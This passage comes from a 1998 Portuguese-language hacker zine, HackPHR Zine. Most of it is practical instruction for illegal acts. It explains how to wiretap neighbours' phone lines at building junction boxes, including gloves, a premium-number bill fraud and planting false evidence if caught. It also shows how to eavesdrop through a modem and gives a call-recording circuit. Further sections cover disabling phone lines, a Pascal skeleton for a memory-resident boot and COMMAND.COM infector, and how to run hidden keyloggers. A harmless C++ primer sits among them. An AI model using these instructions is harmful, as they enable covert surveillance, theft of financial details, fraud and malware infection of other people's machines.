prestveis sobre o assunto. Um exemplo  dos cartoes telefonicos - deve
ter sido um lammer idiota ou um besta da vida q escreveu aquelas coisas,
a Embratel  burra mas nem tanto. Os cartoes abrangem toda uma
tecnologia e burla-la  um pouco mais dificil q se pensa... Os caras
acho q foram ao Japao e se empolgaram com o truque do durepoxi (os
cartoes l sao furados pelo telefone indicando os creditos...) e
escreveram qualquer bosta sobre o assunto....

Minha idia  colocar coisas e circuitos eletronicos para facilitar a
vida dos Phreakes da vida q enfrentam dificuldades com o negcio...
A eletronica  uma coisa muito boa se bem aplicada - coisas simples
executam muito bem as tarefas propostas.

Um bug q pode ser corrigido em uma de suas edicoes q nao lembro qual, vc
mostrava o uso da BlackBox (busy), mas ela tinha o problema q deixava o
telefone mudo... a o besta descobria logo o problema, via a fita
isolante e se tocava... isso pode ser consertado com um simples resistor
de 4.7k / 1W...  A linha nao fica muda e s d ocupado - assim o besta
fica louco tentando telefonar nao consegue linha!!

Uns textos sobre o assunto tb  minha intencao. Acho q o unico texto
descente sobre phreak no brasil foi o "Manual de
Violao a Telefones Pblicos e Privados" - quero reverter isto! Uma
coisa voltada a telefonia brasileira e nao somente um monte de bosta
americana traduzida...

Ahh, aquela sua hp est uma m.... se quiser eu tb me proponho a escrever
uma coisa mais descente e o melhor - para aqueles idiotas q aindam
insistem em usar o "Internet Expulsorer", corrigindo os bugs para este
browser  (se  q pode ser chamado disso) e tb com uma inteface mais
decentezinha... Uns links de hipertexto sempre ajudam, vc nao acha?

Parabens pelo seu Zine!! Continuem assim!!

Visitas a minha hp em www.algumlugar.com.br

Pode dar reply e colocar o meu e-mail em seu zine se quiser.
E-bomb  coisa de LAMMER q nao tem nada o q fazer - pega o UnaBomber e
se acha...

Se tiver interessado em alguma coisa - CONTACTE-ME. BYE!

=====-------

   Bom, como podemos notar, cada um fala uma coisa diferente, e fala o q acha.
Seria muito simples mesmo burlar a telefonia a cartao, apenas modificando algo
nele, eh simples demais, existem alguns jeitos sim, por exemplo, aquele de vi-
rar o cartao logo depois q a chamada eh efetuada, era muito utilizada por um
amigo meu: tem q ter o "jeitinho", ele falava, naum eh soh virar de qquer jei-
to... Mas sei lah, acho q com esses novos orelhoes q a Telebras instalou, cor-
rige esse bug, como aquele de segurar o zero tmb...
   Funcionava? Funcionava, mas pelo mau uso q alguns lamers faziam dessas tec-
nicas, o pessoal descobriu e corrigiram, e acabaram com a brincadeira, que bom
pelo menos naum eh qquer lamer q liga de graa...
   Pra completar o titulo: "Truquezinhos", vou colocar um outro mail q recebi:


-------------------------------

**********Este texto foi ecrito por SLASH_O_05.Texto 100%nacional************
-----------------------------------------------------------------------------
Yo D00D, este texto e' um fruto de minha mente criminosa que espera contri -
buir com este Z1N3, que vem se superando cada vez mais, a cada edicao nos i-
luminando com Fucking Excelents Ideas, por isso gostaria de fazer  esta    -
humilde contribuicao.

   "Esta doeu!"
   -Garoto apos de ter perdido seu braco brincando com uma serra eletrica

   GRAMPEIO RUDIMENTAR, QUASE PRE-HISTORICO DE LINHA TELEFONICA EM PREDIOS

   Bem para comecar gostaria que todos aqueles que moram em predio deem uma
olhadela em seu andar, do lado de fora, e veja se acha uma pequena caixa, que
na maioria das vezes utiliza uma chave triangulo.Achou?otimo cara, otimo para
os phreakers de plantao, pois dali vc pode ouvir toda e qualquer conversacao
telefonica de sua casa e podendo ouvir coisinhas triviais como numeros de
cartao de credito, numeros de conta bancaria, o telefone daquela gata ou sujei
ras familiares.

   Agora vc precisa saber que existem 2 tipos destas caixas, normalmente temos
uma por andar, porem em predios mais antigos a coisa fica mais facil, existe
apenas uma destas caixas onde se pode ouvir telefonemas de todo o predio.

   Devo ressaltar que estas caixas sao diferentes dos armarios da TeleBosta,
vc simplesmente NAO pode efetuar chamadas, pelo menos nao nas mais antiga, ja
tentei e so consegui ouvir o tom de discagem, mas se vc conseguir discar nao
perca tempo e disk0900-789-789 para dar uma ligeira subida na conta telefoni
ca da vitima, e depois ligue seu notebook la, ou compre 50 metros de fio, o
que e bem mais complicado,nao se esqueca de esconder o fio.Abaixo explicarei
como fazer o grampo e para os Fucked Lamahs tive a beneviolencia de explicar
como "Hookar" o computador.(Vc acreditou,seu Lamah, que eu vou te ensinar?
Otario.Fuck you,Mother Fucker.E neh, mamar no boi vc nao quer, neh?

Obs:Recomendamos nao fazer isto em seu telefone por motivos obvios,e se quer
saber o que sua irma anda conversando ARRANJE UMA EXTENSAO.


Grampo caseiro para ser servido com limonada e biscoitos

Material
1) telefone fodido, do tipo Jack(LamaHelp:e aqueles c/ o fio c/ aquele plugue)
2) 2 Jacares(opcional, mas extremamente recomendavel)
3) Fita crepe
4) 1 pequeno gravador c/ microfone embutido
5) Estilete
6) Fita isolante
7) Ferro de solda e solda
8) e outras ferramentas que podem a vir ser necessarias
9) luvas cirugicas(nao vai querer suas impressoes por ai se alguem te pegar)
------------------------------------------------------------------------------
Passos
(Ei cara tira esta musica de Missao Impossivel ai)

-Primeiro Passo
   Ache a caixa e abra-a, veja se ela esta num lugar movimentado e veja se e a
que tem varias linhas ou somente a do andar.Outra coisa que se deve olhar caso
seja caixa de uma linha se sao somente somente fios ou se tem conectores(sao
4 pinos, normalmente usa-se os primeiros de cima e em baixo, veja figura) para
prender os jacares.

                                            ///////////
                              CONECTORES    / a    d  /
                              Fio           / .    .  /
                              --------------/         /
                              ______________/ .    .  /
                              Fio           / b    c  /
                                            ///////////

Conecte os jacares no lugar dos pontinhos(normalmente a & b)


nota:a caixa que contem muitas linhas ou fica em predios sem elevador ou no
terreo, nao ache que ira encontrar este tipo de caixa em frente ao seu aparta-
mento no setimo andar ou parecido.

-Segundo Passo
Agora que vc ja tem algumas informaoes repense se realmente quer fazer isto,
pois pode ser um pouco perigoso, ei e como se diz na Axur0501, atravessar
a rua hoje em dia e perigoso.Bem se for linha unica sem conectores para os
jacares(apenas 2 fios) descasque-os num pequeno pedaco,2cm e suficiente, e
volte para casa e feche-se no seu quarto.

-Terceiro Passo
Pegue o telefone tipo Jack e tire o handset com o fio, arranque o plugue da
ponta e descasque os fios(se for pao-duro e nao usar os jacares espero que se
foda, porque vc e um mao de vaca).Agora algo importante, o padrao telefonico
Brasileiro somente usa 2 fios, e o padrao Jack utiliza 4, por isso vc deve
dizimar os fios laterais, nao serve para porra nenhuma e' peso morto.Agora
solde os jacares na pontas dos fios e pronto, agora vc ja pode ligar de arma-
rios nas ruas(aquelas caixonas cinzas fechadas com cadeado ou chave triangulo
na rua e pode escutar ligacoes destas caixas que estamos explorando.Bem agora
o truque, simplesmente cole com a fita crepe um pequeno gravador com o micro-
fone usando toda fita crepe para que sons exteriores nao atrapalhem, mas nao
passe fita em cima dos controles de gravar ou qualquer outra para que possa
trocar de fita rebobinar.

-Quarto Passo
(estamos chegando no final)

Dirija-se a caixa,abra-a e tire as fitas isolantes(nota: os jacares nao podem
encostar um ao outro ou estar na polaridade errada caso isto aconteca vc nao
tera linha.).Veja se tem alguem falando e bota para gravar.Pronto aposto que
pode roubar algumas pre77y c00l information, como sei que vc nao e burro nem
nada, tbm aposto que sabera usa-las sabiamente, bem nem tanto.

   Lembre-se: Se alguem te pegar no flagra kara, finja ser um nerd e fale que
vc suspeita que a vitima estava envolvida com a mafia ou qualquer outra coisa,
plante provas falsas e tudo mais,e tbm fale que seu potencial mental, estava
sendo usado a para tentar pegar um criminoso.

   TENTE INVENTAR DESCULPA MELHOR!!!!!!

Ideia:ao inves de deixar  o grampo na caixa tente puxar um fio para sua casa
e controle a distancia e melhor e mais seguro, mas nao esqueca de esconder o
fio.PORQUE A PRACA, A PRACA E NOSSA
------------------------------------------------------------------------------
         Thank you Folks


                              "Hack The Planet

                                      &

                            Phreak The Planet also"




   Thankz SLASH

   Legal essa materia enviada pelo nosso leitor Slash, bom mas alguns metodos
q ele descreve, alem de pouco usuais, sao arriscados, naum q eu seja cagao, eh
q vc naum vive sozinho no mundo.
   Pensando nisso, vou escrever umas coisinhas abaixo q complementam o texto
q vc leu acima. Bom pra comear, sobre as luvas cirurgicas, vc naum vai sair
por aih andando com luvas cirurgicas, portanto, encere seu dedo com cera de
vela, como? Doi? hahaha... claro q vc naum vai pingar cera quente no seu dedo
seu burro, de um "jeitinho"...
   Outra coisa, esse negocio de escutar o q a irma diz eh meio ruim usando ex-
tensao, ela percebe o barulho, faa o seguinte, conecte um fone de ouvido na
saida de audio de seu computador, entao entre no seu programa de terminal, e
certifique-se q o modem estah conectado na linha q sua irma estah falando, 
entao digite: ATO1
   Pronto, vc vai ouvir tudo o q sua irma diz sem causar ruidos na linha, e
a pata tonta da sua irma nem vai imaginar... hehehe  THiZ iS CooL 

   Tah, e pra gravar as conversas do telefone q vc grampeou. Eu digo, nem 
precisa de telefone, soh de gravador e uma placa q passarei o projeto:
   Naum vou descrever o funcionamento dele apenas passar o diagrama e a lista
de material. Mas o q ele faz? Bom, vc conecta as jacares da placa na linha
telefonica e a outra saida da placa ao gravador. Toda vez q a vitima retirar
o fone do gancho, as conversas serao gravadas, e quando ela colocar o fone de
novo, ele para de gravar. Sim eh automatico...  KooL!!!


PROJETO: GRAVADOR TELEFONICO
   
Linha
telefonica   
  | |
  | |
  | |        C3        R3                                             P1
  | |    ----||------/\/\/\------------------------------------------|===-
  | |   |    1uF      100k                                           |gravador
  | |   |                                                      / o----|====-
  | |   |  D1     R1                  /-------------*-------   \-----/   P2
  *-----*-->|-A-/\/\/\-----*--------|/ Q1           |       |       |
  | |    1N4002   47k      |        |\ BC557        |       |       |
  | |            ----------*         |              |       |       |
  | |           |          |         *---------     |       |       |
  | |           |          / P1 22k  |         |   === C2   |       |
  | |           |        ----|       |         |   --- 100uF|       |
  | |           |        | \         - D2      \    |       |       |
  | |           |         \*         /\1N4002  /    |       |       |
  | *----      --- C1      |         |         \    |      ---      |
  | |   |      --- 1uF     /         |         /    |     -----     |
  | |   B       |          \ R2      |         |    |      --- B1   |
  | |   |       |          / 470     |         |    |     -----6V   |
        |       |          |         |         |    |       |       |
        |-------*----------*---------*---------*----*-------*--------




MATERIAL NECESSARIO:

Semicondutores:

D1, D2: 1N4002 diodo de silicio
Q1: BC557 PNP

Resistores:

R1: 47k ohms
R2: 470 ohms
P1: 22k ohms

Capacitores:

C1: 1uF/16V Eletrolitico
C2: 100uF/16V Eletrolitico
C3: 1uF poliester

Qquer duvida sobre este circuito naum mandem mails... Pois naum fui eu quem
projetou...

OBS.: Qquer metodo de grampeaao da linha telefonica, o som fica mais baixo,
      devido a queda da tensao...

OBS.: Os mais espertalhoes devem ter notado q faltou algo. Faltou sim, tah 
      faltando o rele q vai acionar o circuito. Bom, eu naum coloquei o cir-
      cuito completo, esse eh soh um exemplo de circuito q grava as conversas,
      portanto use-o mais como exemplo, eu naum recomendo sua montagem.


   E pra terminar a materia, um textozinho q o QuIcK_DeAtH escreveu q ensina
outro truquezinho:

                     ################################
                     # Como deixar um telefone mudo #
                     ################################
                     #          Telmudo.txt         #
                     ################################
                     #       Por QuIcK_DeAtH        #
                     ################################
                     #             2/2/98           #
                     ################################

1- Introduo:

Este texto foi escrito com a intenso apenas de informar, o autor no se
responsabiliza por nenhum ato de vandalismo ou que prejudique alguma pessoa.


2-Material:

Uma folha de papel alumnio
Um telefone

3-Comeando:

Existem trs formas para voc usar esta tcnica:

-Na caixa do telefone
-No aparelho telefnico
-No modem

4-Usando na caixa do telefone e no aparelho:

Pegue a folha de papel alumnio e corte em um quadrado de mais ou menos
1X2cm. Procure a caixa onde est ligado o aparelho telefnico ou veja se 
atrs do aparelho existe um fio conectado com um plug.
Dos dois modos voc deve encontrar este plug escolha um, de preferncia o que
estiver mais escondido.
Retire o plug de onde ele estiver conectado e passe o papel alumnio por cima
do plug de modo que o papel alumnio encoste nos contatos do plug. Ex:1
     ______                         .________.  
    | |||| |                        |\______/|===>Papel Alumnio 
    | |||| ===>Contatos do plug     || |||| ||
    |  __  |                        || |||| ||
    | |__| |====>Plug               '+------+'
    |_|__|_|                         | |__| | 
       \ \                           |_|__|_|
        \ \===>Fio                      \ \ 
         \ \ Ex:1                        \ \ Ex:2

Dobre o papel alumnio at que cubra parcialmente as extremidades do plug e
totalmente a parte da frente, onde ficam os contatos.
Encaixe o plug no lugar dele e tire o telefone do gancho. Voc vai verificar
que o telefone est mudo.

5- Usando em um modem:

Para deixar um modem mudo basta repetir estes mesmos passos mas na caixa
telefnica da linha do modem ou diretamente no conector do computador.

Ps: Para que este mtodo funcione o papel alumnio ter que estar encostado
    nos contatos do plug, e tome cuidado para quando encaixar o plug no
    amassar o papel alumnio.

############################## FIM ##########################################

Texto escrito totalmente em portugus por QuIcK_DeAtH.


   DICA DO MANDRACK: Para deixar o telefone mudo corte o fio dele.
   OUTRA DICA DO MANDRACK: Para vc ligar de graa do orelhao a cartao, depois
   q a pessoa do outro lado atender, aperte e segure a tecla 0, de tres puli-         
   nhos, cinco rodadinhas, e grite: OLE' hahaha ;)

   1998, MaNdRaCk - HackPHR Zine
   -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-


              04  -  TUTORIAL VIRUS RESIDENTES(TSRs) EM PASCAL
             -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

        Algumas pessoas esto me perguntando porque eu nunca dou os sources
dos virus em ASSEMBLY.  simples: primeiro porque  faclimo gerar o cdigo
em assembly.  s compilar o source em pascal e usar um Descompilador ou De-
sassemblador, ele gerar o cdigo em ASM. Segundo: porque entre os zines
hackers e virii, 95% do os sources em ASM, j que  muito mais fcil. Se voc
quer ter um exemplo basta pegar qualquer uma das 14 edies lanadas at hoje
pela 40HEX, maior zine virii do mundo. O que estou fazendo aqui  inovar.
        Bom, a matria virii dessa edio  um tutorial sobre Virus residentes
na memria. Novamente os sources sero dados em Pascal, a linguagem de alto n-
vel mais usada entre os produtores de virus.
        Ento comecemos...  bom lembrar que para uma total compreenso do tu-
torial  necessrio pelo menos algum conhecimento em ASM.
        Primeiro, quais as vantagens dos virus residentes em memria? Antes de
mais nada eles so muito mais contagiosos que qualquer outro virus no-residen-
tes(excesso feita aos worms). Porque? Porque o que eles fazem  capturar as
interrupes e se utilizarem delas para executar algo quando o computador ten-
ta executar alguma funo. Exemplo: O virus aqui proposto captura a interrup-
o 0E, ativada durante qualquer tentativa de acesso aos diskettes(ou qualquer
floppy drive). Ento, quando vc d um DIR A: ou tenta acessar a(s) unidade(s)
contento floppy drives, o programa residente na memria executa alguma funo
pr-definida antes. O nosso virus ir tentar contaminar o boot sector dos dis-
kettes. Outra vantagem dos virus TSR(terminate and stay resident) ou Memory
Residents so a possibilidade de serem polymorphics, ou alterarem seu prprio
cdigo para ficarem invisveis para os anti-virus. Esse  um assunto bem mais
complexo e ir ser deixado para uma futura edio do zine, provavelmente.
        Ento vamos ao principal ponto: como fazer uma rotina TSR em pascal?
O procedimento usado para esse fim  definido como KEEP(cdigo de sada). Nor-
malmente usaremos KEEP(0), indicando que o programa terminar como cdigo de
sada=0(terminao normal) e ficar ativo na memria. Para um programa ficar
ativo na memria  lgico que antes ele precisa capturar uma interrupo, ou
entao ele ficar ativo sem fazer nada, so ocupando memoria. Para capturar in-
terrupes primeiro  usual salvar a interrupo antiga em um procedure e de-
pois setar a procedure que ser executada quando a interrupo for chamada. Em
Turbo Pascal usa-se os procedures GetIntVec e SetIntVec para isso. O procedure

        GetIntVec(int,@proc1)

salva a interrupo INT no procedure proc1. E o

        SetIntVec(int,addr(proc2))
        
seta o endereo do procedure proc2 para a interrupcao INT. Ento quando a
interrupao INT for chamada  chamado o procedure proc2 em seu lugar. Exemplo:

--------------------------INICIO DO CODIGO----------------------------------
Program teste;
uses crt,dos;
{$M $1600,0,0} {reserva 4K de memoria pro programa}

var old_int_1c: procedure;  {procedure que guarda a interrupcao antiga}

Procedure interrupcao; interrupt;  {procedure de tipo interrupt}
begin
  writeln('INTERRUPCAO 1C CHAMADA!');
  inline($9c);
  old_int_1c; {chama a interrupo antiga}
end;

begin
  clrscr;
  GetIntVec($1c,@old_int_1c); {salva interrupcao velha na procedure old_int_1c}
  SetIntVec($1c,addr(interrupcao)); {seta 1c para procedure interrupacao}
  keep(0);  {termina e fica residente em memria}
end.
---------------------------FIM DO CODIGO-------------------------------------

        No caso desse programa, quando executado ele vai executar uma srie de
procedures INTERRUPCAO sem parar, ou seja, o resultado ser a exibio na tela
de uma sequencia de mensagens "INTERRUPCAO 1C CHAMADA!" sem parar. A razao pa-
ra isso  a interrupo 1C capturada. Por ser uma interrupcao que cuida do re-
logio interno do computador, ela  chamada 6 vezes por segundo. O resultado 
a exibio da mensagem "INTERRUPCAO 1C CHAMADA!" 6 vezes por segundo na tela
do seu computador... apenas um exemplo.
        Ento por fim(pelo menos nessa edio) eu deixo o cdigo de uma rotina
TSR para ser adicionada a qualquer virus em Pascal, inclusive o HANTA escri-
to por mim e listado na ultima edicao do zine(03). Esse cdigo captura a INT
0E, responsvel por qualquer tentativa de acesso aos floopys, exatamente como
foi explicado no incio dessa matria... No lugar da interrupcao o programa
chama uma rotina que tenta infectar o BOOT ou MBR do disquete. Junto ao cdigo
vo algumas explicaes:

-------------------------INICIO DO CODIGO----------------------------------
Program infect_diskette;
uses crt,dos;

var old_int_0e: procedure;

procedure infect_floppy; interrupt;
var f:file;
    dirinfo: SearchRec;

begin
  {seta a interrupcao dinovo para a velha INT porque a rotina  chamada varias
  vezes, o que poderia travar o PC}
  SetIntVec($0e,@old_int_0e);
  findfirst('a:\command.com',any_file,dirinfo); {infecta o command.com}
  if dirinfo.name<>'' then { se existir command.com infecte-o}
  begin
    {***ROTINA PARA INFECTAR**}
    {AQUI VOC COLOCA OU CHAMA A ROTINA PARA INFECTAR}
    {********FIM********}
  end;
  inline ($9C);
  old_int_0e;
end;

Begin
  {******* CODIGO DO VIRUS}
  {AQUI VAI O CODIGO BASE DO VIRUS}
  {******* FIM DO CODIGO}
  GetIntVec($0e,@old_int_0e);
  SetIntVec($0e,addr(infect_floppy));
  keep(0);
end.
------------------------FIM DO CODIGO-------------------------------------


   1998, Cebola - HackPHR Zine
   -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-


                             05  -  Tutorial C++
                            -=-=-=-=-=-=-=-=-=-=- 

	Um pouco de C++... Ae galera, estou fazendo este texto em funcao 
de ajudar aqueles programadores novatos... com o passar das edicoes do 
zine (se nada correr errado!) pretendo me aprofundar cada vez mais no
assunto pra deixar a galera afiada... e fazer seus proprios xploits e
programas diversos... Entao vamos comecar logo que a caminhada eh longa 
e cansativa!

ps: alguns exemplos de fontes foram tirados de um livro q eu nem me 
lembro mais o nome... 

                            INTRODUCAO


Classes e Objetos
-----------------

A ideia fundamental de linguagens orientadas ao objeto e a 
possibilidade de combinar um unico registro campos que conterao dados
e campos que sao funcoes para operar os campos de dados de registro. 
Uma unidade assim definida e chamada "classe".

	Uma classe e considerada um tipo de dado como os tipos que 
existem predefinidos em compiladores de diversas linguagens de 
programacao.

	Como exemplo, considere o tipo int que e predefinido em C e C++.
Podemos declarar quantas variaveis do tipo int forem necessarias ao 
programa. De modo similar, podemos declarar quantas variaveis 
quisermos de uma classe jah definida.

	Uma variavel de uma classe e chamada objeto e contera campos de
dados e funcoes.

	Definir uma classe nao cria nenhum objeto, do mesmo modo que a 
existencia do int nao cria nenhuma variavel.

	As funcoes de um objeto sao chamadas funcoes-membro ou metodos 
e, de modo geral, sao o unico meio de acesso aos campos de dados tb
chamados variaveis de instancia.

                 Encapsular e Esconder
					  =====================

Se o programa necessita atribuir um valor a alguma variavel de 
instancia, deve chamar uma funcao-membro que recebe o valor como 
argumento e faz a alteracao. Nao podemos acessar variaveis de 
instancia diretamente.

	Desta forma, os campos de dados estarao escondidos para nos, o 
que previne alteracoes acidentais. Dizemos entao que os campos de dados
e suas funcoes estao encapsulados (de "capsula" seu tanso) numa unica
entidade.

	As palavras encapsular e esconder sao termos tecnicos da 
definicao de linguagens orientadas ao objeto.

	Se alguma modificacao ocorrer em variaveis de instancia de um 
certo objeto, sabemos exatamente quais funcoes interagiram com elas:
sao as funcoes-membro do objeto. Nenhuma outra funcao pode acessar 
esses dados. Isso simplifica a escrita, manutencao e alteracao de
funcoes-membro.

	A frase "chamar uma funcao-membro de um objeto" pode ser dita
como "enviar uma mensagem a um objeto". saco? calma que ainda estamos
na parte "teorica" da coisa...

 					Heranca
					=======

A programacao orientada ao objeto oferece uma maneira de relacionar
classes umas com as outras por meio de hierarquias.

	No nosso dia-a-dia, esse processo esta presente quando dividimos
classes em subclasses, mantendo-se o principio de cada subclasse herda
as caracteristicas da classe da qual foi derivada. 

Por Exemplo: a classe de animais e dividida nas subclasses mamiferos,
aves, peixes etc. Uma das caracteristicas da classe animais e a 
reproducao. Todas as suas subclasses tem essa caracteristica.

	Alem das caracteristicas herdadas, cada subclasse tem suas 
caracteristicas particulares.

                              Classe Base
                                   |
                           -----------------
                           |caracteristicas| 
                         / |    A     B    |  \
                        /  -----------------   \
                       /           |            \
                      /            |             \
     -----------------     -----------------     -----------------
     |caracteristicas|     |caracteristicas|     |caracteristicas|
     | A             |     |     A  B      |     |  A    B    C  |
     |       B       |     |       E       |     |     F         |
     |   C  D        |     |            F  |     |           G   |
     -----------------     -----------------     -----------------
            |                      |                     |
            |                      |                     |
            \--------------CLASSES DERIVADAS-------------/
                             

	Em programacao orientada ao objeto, o conceito de subclasse ou
processo de classes derivadas e chamado HERANCA.

	Em C++, a classe de origem e chamada classe-base e as classes
que compartilham as caracteristicas de uma classe-base e tem outras
caracteristicas adicionais sao chamadas classes derivadas.

	Uma classe-base representa os elementos comuns e um grupo de 
classes derivadas.

	Vc poderia pensar em heranca como algo semelhante ao uso de 
funcoes para simplificar tarefas tradicionais. Vc escreve uma funcao 
quando identifica que varias secoes diferentes de um programa, em 
parte, executam a mesma coisa.

	Em C++, vc define uma classe-base quando identifica 
caracteristicas comuns em um grupo de classes derivadas.

	Da mesma forma que vc pode criar uma biblioteca de funcoes uteis
a diversos programas, pode formar uma biblioteca de classes que poderao
vir a ser o nucleo de muitos programas.

	O uso de uma biblioteca de classes oferece uma grande vantagem 
sobre o uso de uma biblioteca de funcoes: o programador pode criar 
classes derivadas de classes-base de biblioteca. Isto significa que,
sem alterar a classe-base, e' possivel adicionar a ela caracteristicas
diferentes que a tornarao capaz de executar exatamente o que 
desejarmos.

	Uma classe que e' derivada de uma classe-base pode, por sua vez,
ser classe-base de outra classe.

	O uso de classes derivadas aumenta e eficiencia da programacao 
pela nao-necessidade de criacao de codigos repetitivos. A uma funcao 
de biblioteca nao podemos adicionar outras implementacoes a nao ser 
que ela seja reescrita ou que tenhamos seu codigo-fonte para altera-la
e recompila-la.

	A facilidade com que classes existem podem ser reutilizadas sem 
serem alteradas e'um dos maiores beneficios oferecidos por liguagens
orientadas ao objeto.

				Polimorfismo e Sobrecarga
				-------------------------

O sentido da palavra polimorfismo e' o do uso de um unico nome para 
definir varias formas distintas.

	Em C++, chamamos de polimorfismo a criacao de uma familia de
funcoes que compartilham do mesmo nome, mas cada uma tem codigo 
independente.

	O resultado da acao de cada uma das funcoes da familia e' o 
mesmo. A maneira de atingir esse resultado  distinta. Como exemplo,
suponhamos que desejamos calcular o salario liquido de todos os 
funcionarios de uma empresa. Nessa empresa ha horistas, mesalistas, os
que ganham por comissao etc.

	Criamos um conjunto de funcoes em que cada uma tem um metodo
diferente de calcular o salario. Quando a funcao e' chamada, C++ 
sabera identificar qual e' a funcao com o codigo adequadp ao contexto.

	A sobrecarga e' um tipo particular de polimorfismo. Como exemplo,
tomemos o operador aritmetico +. Em C++, usamos esse operador para 
somar numeros inteiros ou para somar numeros reais:

       5     +    2
       3.4    +   5.8

	O computador executa operacoes completamente diferentes para 
somar numeros inteiros e numeros reais. A utilizacao de um mesmo 
simbolo para a execucao de operacoes distintas e' chamada sobrecarga.
Em C++. alem das sobrecargas embutidas na linguagem. podemos difinir 
outras com capacidade novas.

	Por exemplo, podemos definir a seguinte operacao definir a 
seguinte operacao nova para o simbolo +:

	"ABC"    +    "DEF"    =    "ABCDEF"

	O polimorfismo e a sobrecarga sao habilidades unicas em 
linguagens orientadas ao objeto.

		       C e' um SubConjunto de C++
		       --------------------------

C++ e' uma linguagem derivada da linguagem C. O conjunto de 
instrumentos que fazem parte da linguagem C tb e' parte de C++.

	Os elementos principais que foram adicionados a linguagem C para
dar origem a C++ consistem nas classes, nos objetos e na ideia de 
programacao orientada ao objeto.

	Se vc jah sabe programar em C, conhece a maior parte da sintaxe
de C++ e tem pouco a aprender.

	C++ e' rica em recursos que atendem as limitacoes impostas pelas
liguagens procedurais.

Obs: Pronto agora vamos ao que enteresa! Tenho certesa que se vc 
entendeu o que esta ai a cima vai entender o que colocarei aqui em 
baixo...

				CONCEITOS BASICOS
                        -----------------

A Estrutura basica de um programa em C++

A unidade fundamental de programas C++ sao as funcoes. Um programa C++
consiste em uma ou varias funcoes.

Forma Geral das Funcoes C++
---------------------------

	Os elementos basicos de toda funcao C++ sao os seguintes:

tipo    nome ()

{
      instrucao_1 ;
      instrucao_2 ;
          .
          .
      instrucao_n ;
}

O Primeiro Programa
-------------------

Vamos comecar com um programa muito simples:

#include <iostream.h>

void main()
{
      cout << "Primeiro Programa" ;
}

	Vc pode digitar este programa e grava-loem disco com o nome
PrimO.CPP. O sufixo .CPP indica programa-fonte em C plus plus.

Nome das Funcoes
----------------

Este programa compoe-se de uma unica funcao chamada main. O nome de 
uma funcao pode ser qualquer um. com excecao de main, reservado para a
funcao que inicia a execucao do programa.

	Em todo programa C++, deve existir uma unica funcao chamada main.
A funcao main marca o ponto de partida do programa. Se um programa for
constituido de uma unica funcao, esta sera main. O programa termina 
quando for encerrada a execucao da funcao main.

----------------------------------------------------------------------
Bem rapaziada por este zine e' soh! Espero que isto ajude vcs em 
alguma coisa... No proximo numero eu continuarei a explicar C++

HaCk-MaN

                                 
   1998, HaCk-MaN - HackPHR Zine
   -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-


                          06  -  KEY STROKE RECORDS
                         -=-=-=-=-=-=-=-=-=-=-=-=-=-

-----------------------------------------------------------------------------
                     Key Stroke Records - Por QuIcK_DeAtH
-----------------------------------------------------------------------------
Bom, para quem no sabe os Key Stroke Records, em portugus  alguma coisa
parecida como Gravador de Teclas Pressionadas, so programas que quando
executado gravam as teclas pressionadas pelo usurio do computador.

Geralmente os KSR comeam a gravar  partir de um determinado momento, que
pode ser um comando como LOGIN, sendo executado junto com um determinado
programa que pedir a senha ou at ficando residente na memria.

Key Stroke Records para DOS:

Esses so os KSR para DOS que eu testei:

- Get It
- Key Copy
- Key Trap
- Phantom

Os KSR para dos so geralmente escritos em Assembly e so programas TSRs,
Terminary Stay and Resident ou seja eles quando executados ficam na memria
do computador at o computador ser desligado ou at que algum comando
previamente definido seja executado.

Eles gravam os buffers do teclado em algum arquivo chamado de arquivo de log
eles ficam geralmente escondido ou encriptados. Esse arquivo poder conter
diversos tipos de dados, como, o dia em que foi gravado, a hora, teclas
adicionais precionadas, combinao de teclas, etc. Mas isso depende do
programa que voc ir usar. Os arquivos de log tem sempre um tamanho limitado
mas isso tambm depende do programa.

- Get It

Foi inicialmente compilado com o nome de THIEF mas depois denominado Get It.
O Get It feito em assembly, na George Washington High School em denver,
Colorado.
Funciona automaticamente em logins de rede Novell, mas tambm pode ser
executado pelo getit.com.

- Key Copy

Esse a  bem simples.
Para gravar as teclas armazenadas no buffer  s apertar CTRL+SHIFT (Direito).
E ento os 200 ltimos comandos digitados sero gravados em c:\keycopy.

- Key Trap

Um timo KSR!
Depois de executado o keytrap.com, ele ir gravar as teclas digitadas em
c:\klog.
Bom ai quem ver esse arquivo vai ler n?
No! Ele est encriptado!
Ento voc desencripta ele com um programa bem simples, que tambm vem com
o Key Trap, o convert.com.
Voc tambm poder escolher o nome do arquivo que vai ter o texto
desenciptado.

- Phantom of the keyboard 2

Mais conhecido como Phantom2, esse KSR tem uma interface grfica, fcil de
usar.
Outra coisa boa  o palyback, ele refaz os comandos na ordem em que foram
digitados.
O arquivo de log fica gravado e com o nome que o usurio determinar.

Key Stroke Records para Windows:

- Key Log 95

KSR para Windows 95.
 bem fcil de usar, o problema dele  que ele s grava enquanto fica uma
janela minimizada, ento configure ele para rodar minimizado.
Mas dependendo da situao o usurio nem percebe.
Os arquivos de log do Key Log95 ficam em c:\win\logx\0140125.98w

Ps: Voc tem que criar o diretrio c:\win
Ps2:O nome do arquivo varia de acordo com o programa.

- Key Log Wn

 o mesmo que o Key Log 95 mas s que projetado para windows 3.X.

-  Invisible Key Logger

Outro KSR para windows 95.
Um programa meio comercial,  meio chato de usar porque grava apenas as 500
primeiras teclas.
A suas melhores caractersticas so as de no deixar uma janela aberta no
windows e de encriptar o arquivo de log.

Site - www.amecisco.com

Bnus

-Combo Key

Esse cdigo fonte pode ser compilado com pascal 6 ou melhor.

 um conjunto de  3 timos programas para KSR.

Combo Key - Grava tudo que  digitado no teclado.
Kill - Termina a execuo do programa.
Dump - Mostra os resultados gravados pelo Combo Key.

Este cdigo fonte foi originalmente publicado no zine Phrack e escrito por
Sendai (jsrc@cyberspace.com).

Ps: No roda no prompt do DOS do windows 95.
_____________________________________________________________________________
                  Cdigo fonte do Combo Key
-----------------------------------------------------------------------------
-------------------------[Corte Aqui]----------------------------------------
{ Source notes:
  This'll compile on TurboPascal 6 or better.  Might even work with 5.
  Why Turbo?  Cause it generates damn tight code, and it's much more readable
  for the newbies than all assembly. }

{ComboKey - It's a TSR, so we gotta do the mem setup. }
